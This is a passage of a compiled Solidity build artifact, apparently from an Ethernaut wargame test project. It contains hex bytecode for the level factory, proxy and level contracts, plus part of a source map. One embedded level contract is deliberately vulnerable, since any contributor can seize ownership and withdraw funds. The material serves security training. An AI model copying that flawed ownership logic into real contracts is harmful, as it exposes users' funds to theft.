038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6104c48061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461032e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610350565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461032e565b6101b9565b61011461024e565b61011d5f6102a7565b565b5f60405161012c9061030e565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610387565b949350505050565b6101c161024e565b6001600160a01b0381166102425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024b816102a7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610239565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60e8806103a783390190565b6001600160a01b038116811461024b575f80fd5b5f6020828403121561033e575f80fd5b81356103498161031a565b9392505050565b5f8060408385031215610361575f80fd5b823561036c8161031a565b9150602083013561037c8161031a565b809150509250929050565b5f60208284031215610397575f80fd5b81518015158114610349575f80fdfe608060405234801561000f575f80fd5b5060cc8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80639d9a7fe9146034578063f51f4738146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6070605e3660046072565b5f805460ff1916911515919091179055565b005b5f602082840312156081575f80fd5b81358015158114608f575f80fd5b939250505056fea26469706673582212202f94ec7b55ec6c84c0ab4147d49c73013beaad07b3b53038b0cf3a86c10dbe6364736f6c63430008180033a26469706673582212203eef1084593953d8aa41e0359ec7f57b2e082cbff0a9f4daaeaca9b73e59454064736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61077d8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610359565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461037b565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610359565b6101e3565b610114610278565b61011d5f6102d1565b565b5f8060405161012d90610338565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd91906103b2565b6001600160a01b03161480156101db57506001600160a01b03811631155b949350505050565b6101eb610278565b6001600160a01b03811661026c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610275816102d1565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610263565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61037a806103ce83390190565b6001600160a01b0381168114610275575f80fd5b5f60208284031215610369575f80fd5b813561037481610345565b9392505050565b5f806040838503121561038c575f80fd5b823561039781610345565b915060208301356103a781610345565b809150509250929050565b5f602082840312156103c2575f80fd5b81516103748161034556fe608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033a2646970667358221220214a663425b34a1fc181a75b09723612eb98c7fb4938c2194defea9689cf928164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102498061007a5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063715018a6146100435780638da5cb5b1461004d578063f2fde38b1461006b575b5f80fd5b61004b61007e565b005b5f54604080516001600160a01b039092168252519081900360200190f35b61004b6100793660046101e6565b610091565b610086610126565b61008f5f61017f565b565b610099610126565b6001600160a01b03811661011a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101238161017f565b50565b5f546001600160a01b0316331461008f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610111565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156101f6575f80fd5b81356001600160a01b038116811461020c575f80fd5b939250505056fea2646970667358221220b86dc1707c33acf524ee38da1dedde257b19c5c7da05fc6b6459b042126bb54364736f6c63430008180033885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12da2646970667358221220bf1ba92a9cb4cf6dad0ee85dae92b4ecc6357a7335b89e454ba7ad48408528d564736f6c63430008180033","sourceMap":"512:5932:120:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;876:557;;;:::i;:::-;;2452:134:5;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3360:151;;;:::i;:::-;;;;;;;:::i;4989:756:120:-;;;:::i;6251:191::-;;;:::i;3221:133:5:-;;;:::i;2922:141::-;;;:::i;3218:841:120:-;;;:::i;2738:178:5:-;;;:::i;:::-;;;;;;;:::i;5831:341:120:-;;;:::i;2592:140:5:-;;;:::i;:::-;;;;;;;:::i;3069:146::-;;;:::i;1695:538:120:-;;;:::i;2157:141:5:-;;;:::i;1243:204:1:-;;;:::i;:::-;;;5680:14:155;;5673:22;5655:41;;5643:2;5628:18;1243:204:1;5515:187:155;4129:786:120;;;:::i;2329:787::-;;;:::i;2304:142:5:-;;;:::i;1016:26:12:-;;;;;;;;;876:557:120;918:11;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;910:5:120;:19;;-1:-1:-1;;;;;;910:19:120;-1:-1:-1;;;;;910:19:120;;;;;;;;;972:20;;;;;990:1;972:20;;;5861:25:155;-1:-1:-1;;910:19:120;972:17;;5834:18:155;;972:20:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;972:20:120;;;;;;;;;;;;:::i;:::-;939:53;;1010:5;1016:1;1010:8;;;;;;;;:::i;:::-;;;;;;;;;;;1003:4;:15;;-1:-1:-1;;;;;;1003:15:120;-1:-1:-1;;;;;1003:15:120;;;;;;;;1028:24;;;-1:-1:-1;;;1028:24:120;;;;;8381:74:155;;;;8471:18;;;8464:30;8530:1;8510:18;;;8503:29;8568:8;8548:18;;;8541:36;1028:8:120;;;;8594:19:155;;1028:24:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1071:5;1077:1;1071:8;;;;;;;;:::i;:::-;;;;;;;;;;;1063:5;:16;;-1:-1:-1;;;;;;1063:16:120;-1:-1:-1;;;;;1063:16:120;;;;;;1098:4;;1089:24;;;-1:-1:-1;;;1089:24:120;;1098:4;;;;1089:24;;;8844:74:155;8934:18;;;8927:30;;;;8993:1;8973:18;;;8966:29;9031:8;9011:18;;;9004:36;1089:8:120;;;;9057:19:155;;1089:24:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1132:5;1138:1;1132:8;;;;;;;;:::i;:::-;;;;;;;;;;;1124:5;:16;;-1:-1:-1;;;;;;1124:16:120;-1:-1:-1;;;;;1124:16:120;;;;;;;;1150:24;;;-1:-1:-1;;;1150:24:120;;;;;9307:74:155;;;;9397:18;;;9390:30;9456:1;9436:18;;;9429:29;9494:7;9474:18;;;9467:35;1150:8:120;;;;9519:19:155;;1150:24:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1199:5:120;;1185:20;;-1:-1:-1;;;1185:20:120;;-1:-1:-1;;;;;1199:5:120;;;1185:20;;;9703:74:155;1185:13:120;;-1:-1:-1;1185:13:120;;-1:-1:-1;9676:18:155;;1185:20:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1228:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1216:9;;:27;;;;;-1:-1:-1;;;;;1216:27:120;;;;;-1:-1:-1;;;;;1216:27:120;;;;;;1304:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1323:5:120;;1338:9;;1281:68;;-1:-1:-1;;;;;1323:5:120;;;;;1338:9;;;;;;;1281:68;;;:::i;:::-;-1:-1:-1;;;;;10077:15:155;;;10059:34;;10129:15;;;10124:2;10109:18;;10102:43;10181:15;;;10176:2;10161:18;;10154:43;9986:2;9971:18;1281:68:120;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1254:5:120;:97;;-1:-1:-1;;;;;;1254:97:120;-1:-1:-1;;;;;1254:97:120;;;;;;;;;1362:9;;:39;;;;;;;;9703:74:155;;;;1254:97:120;1362:9;;;;;;:23;;9676:18:155;;1362:39:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;309:37:0;;-1:-1:-1;;;;;1412:12:120;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;900:533;876:557::o;2452:134:5:-;2499:33;2563:16;2544:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2544:35:5;;;;;;;;;;;;;;;;;;;;;;;2452:134;:::o;3360:151::-;3409:42;3485:19;3463:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3463:41:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3360:151;:::o;4989:756:120:-;5054:5;;5040:20;;-1:-1:-1;;;5040:20:120;;-1:-1:-1;;;;;5054:5:120;;;5040:20;;;9703:74:155;5040:13:120;;;;9676:18:155;;5040:20:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5070:18;5091;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;5119:9:120;;:30;;-1:-1:-1;;;5119:30:120;;-1:-1:-1;;;;;9721:55:155;;;5119:30:120;;;9703:74:155;5070:39:120;;-1:-1:-1;5119:9:120;;;;;;;;:23;;9676:18:155;;5119:30:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;309:37:0;;-1:-1:-1;;;;;5159:12:120;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5198:4:120;;5184:19;;-1:-1:-1;;;5184:19:120;;-1:-1:-1;;;;;5198:4:120;;;5184:19;;;9703:74:155;5184:13:120;;-1:-1:-1;5184:13:120;;-1:-1:-1;9676:18:155;;5184:19:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5224:5:120;;:36;;-1:-1:-1;;;5224:36:120;;-1:-1:-1;;;;;9721:55:155;;;5224:36:120;;;9703:74:155;5213:48:120;;-1:-1:-1;5224:5:120;;;;-1:-1:-1;5224:20:120;;9676:18:155;;5224:36:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5213:10;:48::i;:::-;-1:-1:-1;;;;;;;;;;;309:37:0;;-1:-1:-1;;;;;5272:13:120;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5297:9:120;;:36;;-1:-1:-1;;;5297:36:120;;-1:-1:-1;;;;;9721:55:155;;;5297:36:120;;;9703:74:155;5297:9:120;;;;;;;;-1:-1:-1;5297:29:120;;-1:-1:-1;9676:18:155;;5297:36:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5343:23;-1:-1:-1;;;;;;;;;;;309:37:0;;-1:-1:-1;;;;;5369:18:120;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5369:20:120;;;;;;;;;;;;:::i;:::-;5343:46;;5400:16;5443:7;5451:1;5443:10;;;;;;;;:::i;:::-;;;;;;;:17;;